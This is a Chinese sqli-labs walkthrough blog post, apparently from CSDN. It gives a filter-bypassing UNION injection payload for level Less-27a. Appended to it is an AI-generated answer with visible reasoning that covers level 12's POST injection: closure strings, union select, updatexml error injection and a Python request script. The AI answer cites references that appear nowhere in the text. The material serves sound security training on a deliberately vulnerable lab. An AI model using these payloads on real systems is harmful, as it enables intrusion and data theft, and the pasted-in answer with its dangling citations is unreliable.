sqli-labs ————less -27a(union、SELECT、绕过滤)

本文介绍Less-27a关卡中SQL注入的技巧,重点讲解如何利用特殊字符绕过过滤并构造payload实现用户信息的获取。读者可以通过实践加深理解。

Less-27a

本关与第27关的去呗在于对于ID的处理,这里使用了“ ””,同时mysql的错误提示被屏蔽,所以报错注入无法进行。对于过滤的绕过技巧在上一节中已经讲过了,这里不再多说了。下面给出一个payload:

http://192.168.11.136/sqli-labs/Less-27a?id=-1"%a0UnIon%a0SElecT%a01,user(),"3
读者有兴趣可以自己测试哈!


<think>嗯,用户现在在问SQLi-Labs第十二关的解法或提示。首先,我需要回忆一下第十二关的特点。根据之前的经验,SQLi-Labs的每个关卡通常涉及不同类型的SQL注入,比如GET或POST请求,不同的参数处理方式,或者特定的过和防护措施。用户之前可能已经完成了前面的关卡,所以第十二关可能比之前的更难,或者引入了新的挑战。 根据用户提供的引用内容,之前的关卡如第四关、第七关涉及到联合查询注入和文件导出操作,比如使用`union select`结合`group_concat`获取表名,或者`into outfile`导出数据。第七关还提到了文件操作的函数需要配置`secure_file_priv`。这些引用可能提示第十二关可能涉及类似的注入技术,但可能有不同的参数处理方式,比如POST请求或不同的注入点类型。 首先,我需要确认第十二关的具体设置。通常,第十二关可能是一个POST类型的注入,比如基于报错的注入或者盲注。例如,可能是一个登录表单,用户需要利用注入绕过认证或提取数据。根据用户提供的引用,第七关使用了文件导出,而第四关是联合查询,但第十二关可能有所不同。 然后,用户提供的引用中有关于爆库名、表名的技术,如使用`extractvalue`函数进行报错注入,这可能在第十二关中适用。比如,如果注入点存在报错回显,可以利用报错注入来获取信息。此外,联合查询注入需要确定列数,可能需要通过`order by`来测试。 另外,引用中提到了`into outfile`的使用,但第十二关可能涉及到字符转义或闭合问题。例如,输入参数可能被包裹在特定的符号中,如双引号和括号,导致需要正确闭合才能执行注入。例如,如果参数处理是`"$id"`,那么注入时需要闭合双引号,并处理可能的括号。 接下来,考虑用户可能需要具体的步骤。比如,确定注入点类型(字符型还是数字型)、测试闭合方式、使用联合查询或报错注入。例如,如果输入被包裹在双引号和括号中,如`("$id")`,那么注入可能需要类似`")`来闭合,然后添加恶意代码。 同时,用户可能遇到的障碍包括如何正确闭合引号和括号,如何绕过,或者如何确定可用的列数。例如,使用`") order by 3--+`来测试列数,然后进行联合查询,或者使用报错函数如`updatexml`或`extractvalue`来提取数据。 另外,需要注意是否有过函数,比如对`union select`或空格的处理,可能需要使用注释符或内联注释绕过。例如,使用`/**/`代替空格,或者使用`%a0`作为空格的替代。 根据引用[3]中的例子,报错注入使用了`extractvalue`函数,这可能适用于第十二关。例如,构造如`" or extractvalue(1, concat(0x7e, (select database()))) --+`这样的注入语句,触发数据库错误并返回信息。 最后,用户可能需要导出文件,但需要确认`secure_file_priv`的设置是否允许写入,如引用[4]所述。但在第十二关中,可能不需要文件导出,而是侧重于通过注入获取数据。 总结可能的步骤:1. 确定注入点类型和闭合方式;2. 测试列数;3. 使用联合查询或报错注入获取信息;4. 提取数据库名、表名、列名和数据。</think>根据SQLi-Labs第十二关的POST型注入特点和常见解法,以下是分步解析: ### 第十二关解题思路 #### 1. 确定注入类型 本关为**POST请求**,参数使用双引号+括号包裹:`("$id")`。测试闭合方式时需使用`")`闭合原始语句[^4]。 #### 2. 构造闭合语句 尝试在用户名或密码输入框中注入: ```sql admin") or 1=1 --+ ``` 若成功绕过登录,说明闭合正确。 #### 3. 联合查询注入 **(1) 确定列数** ```sql admin") order by 3 --+ ``` 当`order by 4`报错时,说明共3列。 **(2) 获取回显位** ```sql admin") union select 1,2,3 --+ ``` 观察页面显示数字2和3的位置用于回显。 **(3) 提取数据库信息** ```sql admin") union select 1,database(),version() --+ ``` 回显当前数据库名和版本[^1]。 #### 4. 报错注入(备用方案) 若联合查询被过,使用`updatexml()`: ```sql admin") and updatexml(1,concat(0x7e,(select user())),1) --+ ``` 通过报错信息获取当前用户[^3]。 ```python # 示例请求代码(Python requests) import requests url = "http://localhost/sqli-labs/Less-12/" data = {"uname": 'admin") union select 1,@@version,3 --+', "passwd": "test"} response = requests.post(url, data=data) print(response.text) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值